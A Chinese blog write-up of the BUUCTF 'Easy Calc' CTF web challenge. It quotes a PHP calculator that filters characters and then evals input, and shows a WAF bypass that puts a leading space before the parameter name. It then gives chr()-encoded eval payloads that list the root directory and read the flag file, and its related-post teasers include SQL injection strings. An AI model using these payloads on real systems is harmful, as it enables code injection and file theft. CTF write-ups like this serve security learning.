当前位置:首页 > CTF > BUU > 正文内容

BUUCTF_web_第13题:[RoarCTF 2019]Easy Calc

七星4年前 (2021-01-23)BUU1483


打开题, 发现是个计算器,传入表达式,计算结果,乍一看没啥问题

然后祖传的f12, 首先看到的就是一个祖传的注释:

<!--I've set up WAF to ensure security.--> 

说是有waf

接着发现了一个js, js里有个calc.php什么什么鬼的文件,打开看看

啊,代码审计审计计....

那就审嘛:

<?php

error_reporting(0);
if(!isset(
$_GET['num'])){
   show_source(__FILE__);
}else{
   $str = $_GET['num'];
   $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
   foreach (
$blacklist as $blackitem) {
      if (
preg_match('/' . $blackitem . '/m', $str)) {
         die(
"what are you want to do?");
      }
   }
   eval(
'echo '.$str.';');
}
?>

原来他的waf是过滤了一些字符, 但是通过之前的尝试发现, num根本不让传入特殊字符及字母.

那么waf就不简单是上面的过滤了, 可能是第三方软件.

越是不让的东西就越该尝试,不让num传入字符字母,那就想办法传.

这里讲一个字符串解析:

在PHP传入参数时会把传入的参数变成数组,比如 /?num=4 会变成 Array([num] => "bar") 

但是但是, 传入的字符串在解析的过程中会将某些字符删除或用下划线代替

例如 /?%20num[id=42 会转换为 Array([num_id] => 42)

如果一个IDS/IPS/WAF中有一条规则是: 当num_id参数的值是一个非数字的值,则拦截

那么我们就可以用以下语句绕过:

/calc.php?%20num[id=阿巴阿巴阿巴;

这样, PHP语句的参数%20news[id的值将直接存储到$_GET[“num_id”]中,即:

Array([num_id] => 阿巴阿巴阿巴), 从而不会通过IDS/IPS/WAF的检测。

所以这个题绕过waf的方法就是,字符串解析漏洞, 在num前面加个空格, url编码就是%20,即:

/calc.php?%20num=

绕过之后, 就是用eval来执行php函数.我们获取当前目录,看看有没有flag文件:

/calc.php?%20num=scandir(/);

但是发现被waf过滤了, 他过滤了/, 所以我们可以用chr(47)来代替"/":

/calc.php?%20num=scandir(chr(47));

返回一个Array, 哦哦没有打印, 那就var_dump()一下:

/calc.php?%20num=var_dump(scandir(chr(47)))

可以看见有f1agg这个文件,直接用var_dump(file_get_contents())读取:

var_dump(file_get_contents("/f1agg"))

过滤了"这, 那就用chr():

/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

直接获取flag

七星比特|qixingbit.com

相关文章

BUUCTF_web_第一题: [HCTF 2018]WarmUp

BUUCTF_web_第一题: [HCTF 2018]WarmUp

第一题: [HCTF 2018]WarmUp f12, 注释里有个文件, 访问, 成功获得审计代码. 审计代码里有个hint.php, 打开, 成功获得ffffllllaaaagggg,...

BUUCTF_web_第二题:[强网杯 2019]随便注

BUUCTF_web_第二题:[强网杯 2019]随便注

第二题: [强网杯 2019]随便注 测试一下, 1'# 返回正常, 发现是字符注入,尝试show一下database: 1';show databases;%23 发现出结果了:...

 BUUCTF_web_第三题:[极客大挑战 2019]EasySQL

BUUCTF_web_第三题:[极客大挑战 2019]EasySQL

第三题: [极客大挑战 2019]EasySQL 常规SQL注入, 没啥说的, 好多种解法, 既然是登录, 这里就写一个万能用户: 1' or 1=1# 密码随便填, 就能getflag...

BUUCTF_web_第五题:[SUCTF 2019]EasySQL

BUUCTF_web_第五题:[SUCTF 2019]EasySQL

[SUCTF 2019]EasySQL打开题目,发现一个搜索框,尝试发现是堆叠注入,先查一下数据库:1;show databases;得到:Array ( [0] => 1 )Array ( [...

BUUCTF_web_第六题:[ACTF2020 新生赛]Include

BUUCTF_web_第六题:[ACTF2020 新生赛]Include

发现是一道include的题, 啥提示也没有,点一下给个tips, 获取到一个?file=flag.php很自然想到了include可以把文件base64再读取文件:/?file=php:/...

BUUCTF_web_第八题:[极客大挑战 2019]LoveSQL

BUUCTF_web_第八题:[极客大挑战 2019]LoveSQL

打开之后, 和之前的类似, 万能密码 1' or 1=1#登录成功,给了一个admin和一串md5, md5解密失败.只能常规注入了.给了个灵魂试探:用 sqlmap 是没有灵魂的那就手工注入一下,巩...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。